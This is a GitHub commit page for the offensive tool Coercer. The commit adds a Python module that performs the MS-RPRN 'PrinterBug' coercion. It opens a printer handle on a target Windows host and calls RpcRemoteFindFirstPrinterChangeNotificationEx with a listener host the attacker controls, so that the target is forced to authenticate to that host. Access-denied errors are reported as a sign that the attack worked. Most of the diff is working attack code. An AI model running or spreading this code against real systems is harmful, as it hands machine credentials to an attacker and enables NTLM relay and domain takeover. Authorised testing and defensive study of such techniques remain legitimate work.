Skip to content

Commit d7e19bd

Browse files
committed
Implemented MS-RPRN:RpcRemoteFindFirstPrinterChangeNotificationEx, fixes #5
1 parent fb0cf7c commit d7e19bd

File tree

3 files changed

+68
-3
lines changed

3 files changed

+68
-3
lines changed

coercer.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
import os
1010
import sys
1111

12-
from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM
12+
from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
1313
from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols
1414

1515

@@ -102,8 +102,7 @@ def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_pro
102102

103103

104104
available_protocols = [
105-
#MS_DFSNM,
106-
MS_EFSR, MS_FSRVP
105+
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
107106
]
108107

109108

lib/protocols/MS_RPRN.py

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
# File name : MS_RPRN.py
4+
# Author : Podalirius (@podalirius_)
5+
# Date created : 9 Jul 2022
6+
7+
8+
import sys
9+
from .RPCProtocol import RPCProtocol, DCERPCSessionError
10+
from impacket.dcerpc.v5 import transport, rprn
11+
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
12+
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
13+
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
14+
15+
16+
class MS_RPRN(RPCProtocol):
17+
name = "[MS-RPRN]: Print System Remote Protocol"
18+
shortname = "MS-RPRN"
19+
uuid = "12345678-1234-ABCD-EF00-0123456789AB"
20+
version = "1.0"
21+
available_pipes = [r"\PIPE\spoolss"]
22+
23+
def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
24+
# Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
25+
# Finding credits:
26+
call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
27+
if self.dce is not None:
28+
tries = 0
29+
while tries <= max_retries:
30+
tries += 1
31+
print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
32+
sys.stdout.flush()
33+
try:
34+
resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
35+
36+
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
37+
request['hPrinter'] = resp['pHandle']
38+
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
39+
request['pszLocalMachine'] = '\\\\%s\x00' % listener
40+
request['pOptions'] = NULL
41+
if self.debug:
42+
request.dump()
43+
resp = self.dce.request(request)
44+
except Exception as e:
45+
if "rpc_s_access_denied" in str(e):
46+
# DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
47+
print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
48+
return False
49+
else:
50+
print("\x1b[1;91m%s\x1b[0m" % str(e))
51+
if self.debug:
52+
pass
53+
else:
54+
if self.verbose:
55+
print("[!] Error: dce is None, you must call connect() first.")
56+
57+
@classmethod
58+
def list_coerce_methods(cls):
59+
return [
60+
("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
61+
]
62+
63+
def perform_coerce_calls(self, listener):
64+
if listener is not None:
65+
self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)

lib/protocols/__init__.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,4 @@
77
from .MS_DFSNM import MS_DFSNM
88
from .MS_EFSR import MS_EFSR
99
from .MS_FSRVP import MS_FSRVP
10+
from .MS_RPRN import MS_RPRN

0 commit comments

Comments
 (0)